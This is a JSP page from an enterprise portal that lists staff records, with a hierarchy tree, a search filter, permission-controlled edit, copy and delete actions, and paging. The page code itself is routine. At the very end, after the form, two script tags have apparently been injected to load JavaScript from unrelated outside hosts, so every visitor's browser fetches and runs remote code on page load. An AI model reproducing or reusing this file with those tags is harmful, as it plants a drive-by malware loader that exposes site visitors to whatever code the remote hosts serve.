<%
/*
 * @(#)ListStaffRecord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListStaffRecord.jsp

  This is a ListStaffRecord page.  It shows the staff record in EIP.

    @author             Wong Yam Lee
    @company            DCIVision Ltd
    @creation date      04/08/2003
    @version            $Revision: 1.21.2.21 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/staff" prefix="staff" %>

<%@ page import="java.util.*"%>
<%@ page import="com.dcivision.staff.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.staff.bean.*"%>
<%@ page import="com.dcivision.staff.dao.*"%>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listStaffRecordForm" scope="request" class="com.dcivision.staff.web.ListStaffRecordForm"/>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OldTree.jsp" charset="UTF-8" type="text/javascript"></script>

<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "staffRecordList";
  final int MAX_LVL = Integer.parseInt(SystemParameterFactory.getSystemParameter(SystemParameterConstant.STAFF_HIERARCHY_LEVEL));
  int parentID = Utility.isEmpty(request.getParameter("parentID")) ? 0 : Integer.parseInt(request.getParameter("parentID"));
  int levelNo = Utility.isEmpty(request.getParameter("levelNo")) ? 1 : Integer.parseInt(request.getParameter("levelNo"));
  if (!Utility.isEmpty(request.getAttribute("parentID"))){parentID = Integer.parseInt((String)request.getAttribute("parentID"));}
  if (!Utility.isEmpty(request.getAttribute("levelNo"))){levelNo = Integer.parseInt((String)request.getAttribute("levelNo"));}

  pageContext.setAttribute("parentID", String.valueOf(parentID));
  pageContext.setAttribute("levelNo", String.valueOf(levelNo));

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"staff.columnheader.staff_code", "STAFF_CODE"},
                            {"staff.columnheader.fullname", "FULL_NAME"},
                            {"staff.label.report_to", "REPORT_TO_STAFF_RECORD_ID"},
                            {"staff.columnheader.email", "EMAIL"},
                            {"staff.columnheader.title", "TITLE"},
                            {"staff.columnheader.status", "STATUS"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"staff.label.full_name", "FULL_NAME"},
                            {"staff.label.email", "EMAIL"},
                            {"staff.label.title", "TITLE"},
                            {"staff.label.staff_code", "STAFF_CODE"}
                          };

  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
   Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
%>
<script language="javascript" type="text/javascript">
<!--
function confirmDeleteRecords(frm) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }

  var hasChecked = false;
  var isDeleteRelatedUser = true;
  for (var i = 0; i < frm.elements.length; i++) {
    if (frm.elements[i].name == "basicSelectedID") {
      if (frm.elements[i].checked) {
        hasChecked = true;
        // title=True:The current staff have relation of user record.
        // title=False:The current staff not have relation of user record.
        if(frm.elements[i].title=="false"){
          //Don't delete the relation of user Record.
          isDeleteRelatedUser=false;
        }
        break;
      }
    }
  }

  if (!hasChecked) {
    alert(MSG_NO_RECORD_SELECTED);
    return(false);
  }

  if (!confirm(MSG_CONFIRM_DELETE_RECORDS)) {
    return(false);
  }

   if(isDeleteRelatedUser){
      if (confirm("<bean:message key='common.message.confirm_delete_related_users'/>")) {
      frm.deleteUserRecord.value = "true";
    }else {
      frm.deleteUserRecord.value = "false";
    }
  }

  frm.opMode.value = OP_MODE_LIST_DELETE;
  frm.navMode.value = "";
  return OpSubmit(frm);
}

function StaffRecordFormReset() {
  var lsrForm = document.listStaffRecordForm;
  lsrForm.parentID.value=0;
  lsrForm.levelNo.value=1;
  lsrForm.labelFieldValue.value='';
  lsrForm.levelIndex.value='';

  return(OpListReset(lsrForm));
}

-->
</script>
<!-- Form Section Begin -->
<html:form action="staff/ListStaffRecord" method="POST" styleClass="form-style-2">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="labelFieldValue"/>
<html:hidden property="levelIndex"/>
<html:hidden property="parentID"/>
<html:hidden property="deleteUserRecord"/>
<input type="hidden" name="levelNo" value="<%=levelNo%>">

<layout:listBar>
    <div class="button">
  <html:permissionButton label="common.label.new" styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="I" link="MaintStaffRecord.do?parentID=${pageScope.parentID}&levelNo=${pageScope.levelNo}"/>
  <html:permissionButton label="common.label.delete" styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="D" onClick="return confirmDeleteRecords(listStaffRecordForm)"/>
    </div>
    <layout:filterControl/>
    </layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
  <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
  <div>
  <table>
  <tr>
    <td class="filterPanelItem" nowrap>
      <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
   </td>
   <td class="filterPanelItem" nowrap>
      <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
        <html:options listName='criteriaList'/>
      </html:select>
   </td>
   <td class="filterPanelItem" nowrap>
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
    </td>
  </tr>
</table>
</div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listStaffRecordForm, '${listStaffRecordForm.sortAttribute}', '${listStaffRecordForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(StaffRecordFormReset())"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->

<div>
<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr>
<td valign="top" class="dtreeContainer">
<!-- Hierarchy Tree Begin -->
<div id="treeContainer">
<div id="treeFrame" class="dtreeContainer">
<staff:staffTree parentID ="<%=String.valueOf(parentID)%>" action="ListStaffRecord.do" />
</div>
</div>
<script language="javascript">
<!--
  var divHeight = (<%=listStaffRecordForm.getPageOffset()%>)*(21)+23+24;
  FindObj("treeFrame").style.height = divHeight+"px";  
  findCurrentNodeAndExpandParent(node0);  
-->
</script>
<!-- Hierarchy Tree End -->
</td>
<td valign="top">
<div id="listContainer">
<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listStaffRecordForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listStaffRecordForm.getSortAttribute()%>" sortOrder="<%=listStaffRecordForm.getSortOrder()%>"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="staffRecord" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)staffRecord).getID()%>);">
    <td align="center">
      <%
        //Bill add for EIP-442
        // hasUserRecord=True:The current staff have relation of user record.
        // hasUserRecord=False:The current staff not have relation of user record.
        boolean hasUserRecord=true;
        StaffRecordDAObject staffRecordDAO = new StaffRecordDAObject(sessionContainer,conn);
        //Get related user record by the current staff record.
        Integer relationOfUser=staffRecordDAO.getUserRecordIDByStaffCode(((StaffRecord)staffRecord).getStaffCode());
        if(Utility.isEmpty(relationOfUser)){
          hasUserRecord=false;
        }
        %>
      <logic:permission right='D'>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='staffRecord' property='ID'/>" onclick="return(false);" title="<%=hasUserRecord%>">
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
    </td>
    <td align="center">
      <logic:permission right='E'>
      <a href="MaintStaffRecord.do?navMode=E&ID=<bean:write name='staffRecord' property='ID'/>&parentID=<%=parentID%>&levelNo=<%=levelNo%>"><html:img src='IconEdit.gif' align='absmiddle'/></a>
      <html:img src='IconEditDisable.gif' align='absmiddle'/>
      </logic:permission>
    </td>
    <td align="center">
      <logic:permission right='C'>
      <a href="MaintStaffRecord.do?navMode=C&ID=<bean:write name='staffRecord' property='ID'/>&parentID=<%=parentID%>&levelNo=<%=levelNo%>"><html:img src='IconCopy.gif' align='absmiddle'/></a>
      <html:img src='IconCopyDisable.gif' align='absmiddle'/>
      </logic:permission>
    </td>
    <td nowrap><a href="MaintStaffRecord.do?navMode=V&ID=<bean:write name='staffRecord' property='ID'/>&parentID=<%=parentID%>&levelNo=<%=levelNo%>"><bean:write name='staffRecord' property='staffCode'/></a>
    </td>
    <td nowrap><bean:write name='staffRecord' property='fullName'/></td>
    <td nowrap>
      <%
        StaffRecordDAObject staffDAO = new StaffRecordDAObject(sessionContainer,conn);
        if(((StaffRecord)staffRecord).getReportToStaffRecordID() != null){
        StaffRecord tmpStaff = new StaffRecord();
        tmpStaff = (StaffRecord)staffDAO.getObjectByID(((StaffRecord)staffRecord).getReportToStaffRecordID());
      %>
      <%=tmpStaff.getFullName()%>
      <%} else{ %>-
      <%}%>
    </td>
    <td><% if (!Utility.isEmpty(((StaffRecord)staffRecord).getEmail())) { %> <a href="mailto:<bean:write name='staffRecord' property='email'/>"> <% } %>
      <bean:write name='staffRecord' property='email'/>
      <% if (!Utility.isEmpty(((StaffRecord)staffRecord).getEmail())) { %> </a> <% } %>
    </td>
    <td><bean:write name='staffRecord' property='title'/></td>
    <td><bean:define id='status' name='staffRecord' property='status'/><bean:message key='<%= "staff.label.status_" + status %>'/></td>
    <td class="bodyVerySmall" nowrap><bean:write name='staffRecord' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td class="bodyVerySmall"><bean:write name='staffRecord' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  </table>
  </div>

  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar" style="position:absolute;bottom:0px;z-index:10;">
  <layout:pager form="listStaffRecordForm" name='<%=LIST_NAME%>'>
    <div class="statement"><layout:pagerInfo/></div>
    <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
  <!-- Pager Information End -->

<!-- Table Showing Record List End -->
</div>
</td>
</tr>
</table>
</div>
<script>addLoadEvent(function(){SetDivHeight('listContainer', 'treeFrame')});</script>
</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>